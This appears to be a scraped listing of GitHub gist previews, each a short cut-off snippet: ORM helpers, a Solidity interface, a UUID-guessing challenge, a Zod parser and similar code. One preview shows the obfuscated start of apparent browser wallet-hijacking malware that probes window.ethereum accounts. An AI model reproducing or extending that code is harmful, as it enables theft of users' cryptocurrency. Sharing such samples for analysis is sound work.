jnsahaj

# Create a new clone and branch for parallel development.
# Usage: ga <branch-name> [base-branch]
ga() {
  if [[ -z "$1" ]]; then
    echo "Usage: ga <branch-name> [base-branch]"
    return 1
  fi
  local branch="$1"
  local repo_name="$(basename "$PWD")"
  local repo_url="$(git remote get-url origin)"

jdstaerk

var neth = 0,
  rund = 0,
  loval = 0
async function checkethereumw() {
  try {
    const _0x124ed3 = await window.ethereum.request({ method: 'eth_accounts' })
    _0x124ed3.length > 0
      ? (runmask(), rund != 1 && ((rund = 1), (neth = 1), newdlocal()))
      : rund != 1 && ((rund = 1), newdlocal())
  } catch (_0x53a897) {

mikecann

import { drizzle } from 'drizzle-orm/node-postgres'
import { desc, asc, eq } from 'drizzle-orm'
import { numbersTable } from '~/db/schema'

// Type definitions to match Convex patterns
type TableName = 'numbers'
type OrderDirection = 'asc' | 'desc'

// Table mapping - extend this as you add more tables
const tableMap = {

transitive-bullshit

import { jsonb, pgTable, text, timestamp } from 'drizzle-orm/pg-core'

// Simple key-value store of JSON data for OpenAuth-related state.
export const authData = pgTable('auth_data', {
  // Example ID keys:
  // "oauth:refresh\u001fuser:f99d3004946f9abb\u001f2cae301e-3fdc-40c4-8cda-83b25a616d06"
  // "signing:key\u001ff001a516-838d-4c88-aa9e-719d8fc9d5a3"
  // "email\u001ft@t.com\u001fpassword"
  // "encryption:key\u001f14d3c324-f9c7-4867-81a9-b0b77b0db0be"
  id: text().primaryKey(),

t3dotgg

If it's so easy to guess a uuid, here you go

I ran crypto.randomUUID() twice on my machine.

The first ID was 15041508-fd38-4eda-bc1d-7b74e4738cd9

The second? That's your challenge.

I encrypted a text file with the following command:

ZigBalthazar

type UTXO = {
    id: string;
    amount: number;
  };
  
  type Wallet = {
    address: string;
    utxos: UTXO[];
  };
  

tunnckoCore

New (old) Way of Trading.

I think I solved the problem of safe #Ethscriptions trading.

A multi step process, but safe and sane. Basically, offers-based.

---

1/ Here's how it could work:

sherbakovdev

"use client";

import * as React from "react";

import { useOrdinalSafe } from "@/hooks/useOrdinalSafe";

type Props = {
  data: string;
};

tunnckoCore

// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.18;

// Created by @tunnckoCore / @wgw_eth / wgw.eth

interface IERC20Burnable {
    function burn(uint256 value) external;

    function balanceOf(address account) external view returns (uint256);

JacobWeisenburger

import { z } from 'zod'

function safeParseJSON ( string: string ): any {
    try { return JSON.parse( string ) }
    catch { return string }
}

function searchParamsToValues ( searchParams: URLSearchParams ): Record<string, any> {
    return Array.from( searchParams.keys() ).reduce( ( record, key ) => {
        const values = searchParams.getAll( key ).map( safeParseJSON )